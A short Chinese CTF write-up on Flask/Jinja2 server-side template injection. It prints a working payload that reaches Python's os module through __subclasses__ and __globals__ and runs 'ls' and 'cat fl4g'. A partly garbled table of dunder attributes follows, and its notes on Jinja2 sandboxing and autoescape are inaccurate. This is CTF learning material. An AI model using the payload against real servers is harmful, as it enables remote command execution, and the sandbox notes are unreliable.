作者:[局外人]
分类:[技术分析]
标签:CTF SHOW
刷题
新手
阅读时长:约 [3] 分钟
引言(前言)
日常CTF 做题记录,日常做题分享,希望能积累更多的知识!!!
攻防世界command_execution
1.1 题目及分析
python template injection
- 题目分析
- 此题主要是利用python程序与Jinja2模版之间的问题
- Flask使用Jinja2作为模板引擎
- 在写完此题,我也赶紧测试了一波自己的服务器上的flask应用,发现没有这种问题,后面发现我没有采用Jinja2模版,哈哈。
{{}}:将花括号内的内容作为表达式执行并返回对应结果
1.2 思路
- 基于Jinja2的特性,还有Python中的魔术方法,主要总结在了后面的表格
- 需要记住的是
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
直接定位到了python的os
模块- 因此,可以采用
popen
函数执行系统命令,最后读出结果{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
- playload:/
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
1.3 结果
大家多多尝试一下有没有更好的方法吧!
二、内置方法
Python 中实际名称 | 作用说明 | 是否为 Python 魔术方法 | Jinja2 中访问说明 |
| 对象初始化方法(实例化后自动调用) | ✅ 是 | 模板中无法直接调用(构造方法仅实例化时执行),但可访问实例属性 |
| 返回对象所属的类(如 | ❌ 是对象属性(非方法) | 模板中可通过 |
| 返回类定义所在的模块(如 | ❌ 是类属性(非方法) | 模板中可直接访问,如 |
| 返回类的方法解析顺序(MRO)元组(多继承继承链) | ❌ 是类属性(非方法) | 模板中可查看继承关系,如 |
| 获取类的直接父类(单继承场景) | ❌ 是类属性(非方法) | 模板中可访问,如 |
| 获取类的直接父类元组(多继承场景) | ❌ 是类属性(非方法) | 模板中可访问,如 |
| 返回类/对象的属性字典(存储属性键值对) | ✅ 是 | 模板中可遍历属性(如 |
| 返回类的活跃子类列表( | ❌ 非魔术方法(普通方法) | 模板中需通过 |
| 函数的全局命名空间字典(如 | ❌ 是函数属性(非方法) | 模板中若传入函数,可访问其全局变量(慎用,暴露风险,默认沙箱限制) |
| Python 导入语句(非特性/方法) | ❌ 无 | Jinja2 中通过 |
| 指向 Python 内置模块(如 | ❌ 是模块属性(非方法) | 模板中默认无法直接访问(安全限制),需显式传入或调整沙箱配置 |
补充说明:
- Python 魔术方法:必须是 双下划线包围(如
__init__
__str__
),由解释器自动触发的方法。
- Jinja2 沙箱限制:默认隐藏
__xxx__
类属性(安全考虑),如需开放,需通过Environment
配置autoescape=False
或自定义沙箱策略。
- 若需 Jinja2 模板的“特殊能力”(如自定义逻辑),更推荐用 过滤器、测试、宏 实现,而非直接依赖 Python 内部属性。
互动环节
- 各位大佬们是否有更优的实现方式?欢迎分享代码
- 评论区聊聊吧~